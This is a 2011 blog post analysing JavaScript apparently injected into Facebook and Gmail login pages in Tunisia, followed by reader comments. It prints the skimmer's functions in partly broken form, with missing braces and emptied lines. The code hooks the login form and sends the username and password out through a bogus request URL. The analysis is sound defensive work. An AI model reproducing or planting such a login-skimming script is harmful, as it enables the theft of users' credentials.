Saturday, January 22, 2011

The code injected to steal passwords in Tunisia

It's been floating around the net for weeks now, but I finally took a look at how someone in Tunisia (assumption is the government) was stealing usernames and passwords from common sites like Google Mail and Facebook.

The attack worked like this:

1. When a user visited a site like Facebook JavaScript would be injected into the page where the user types in their username and password. On Facebook these pages are served via HTTP and so the injection is possible if you can intercept at the ISP level. The actual username and password are sent via HTTPS but once the JavaScript is in there it's game over.

2. The login form itself is modified to include an onsubmit handler that calls the JavaScript function hAAAQ3d (which reads as hacked). That function reads the username and password and makes an HTTP call to a bogus page on Facebook. This page (named wo0dh3ad, which I think you can read was woodhead) has the username and password appended as parameters with some code to make them URL safe.

3. Someone, somewhere reads those URLs to extract the username and password. That could be done from a log file, or even a firewall could have been configured to filter these requests so that they would never reach Facebook.

I've pretty printed the code below. The major functions are hAAAQ3d (described above), r5t (generates a random string of characters which are added to the request URL used to send the username and password) and h6h (which I read as 'hash' which takes a username or password and converts it to a string of lowercase characters that can be safely transmitted in a URL).

There are helper functions inv0k(1,2,3) (which I read as 'invoke') which make the actual HTTP request. Two are used for different browser types and third is not used, but what it does is modify an injected image tag to get the same URL used to send the username/password.
function h6h(st)
  var st2="";
  for ( i = 0; i < st.length; i++ ) {
    c = st.charCodeAt(i);
    ch = (c & 0xF0) >> 4;
    cl = c & 0x0F;
    st2 = st2 + String.fromCharCode( ch + 97 ) + 
                String.fromCharCode( cl + 97 );
  return st2;

function r5t(len)
  var st = "";
  for ( i = 0; i < len; i++ )
    st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) ); 
  return st;

function hAAAQ3d()
  var frm = document.getElementById( "login_form" ); 
  var us3r =; 
  var pa55 = frm.pass.value;
  var url = "" + r5t( 5 ) + 
      "&u=" + h6h( us3r ) + "&p=" + h6h( pa55 ); 
  var bnm = navigator.appName; 
  if ( bnm == 'Microsoft Internet Explorer' )

function inv0k1(url) 
  var objhq = document.getElementById("x6y7z8"); 
  objhq.src = url;

function inv0k2(url)
  var xr = new XMLHttpRequest();"GET", url, false); 

function inv0k3(url) 
  var xr = new ActiveXObject('Microsoft.XMLHTTP');"GET", url, false); 


bennetthaselton said...

How did you happen to test this, did you find an open proxy server in Tunisia, so that you were able to connect through the proxy and see what a user in Tunisia would see if they connected to Facebook?

Anonymous said...

I don't see how Javascript is to blame here, which is I think what you're implying with your "game over" link. This attack only worked because the attacker could subvert the same-domain origin policy, by posting usernames and passwords to a page at the domain (but which was routed to an attacker's host at a lower level.)

NSFW said...

Gee... not so hard for someone with a laptop to setup in a coffee shop, airport, etc. and do exactly this.

Mr.B said...

Didn't they obfuscate their code?

Anonymous said... the ISP level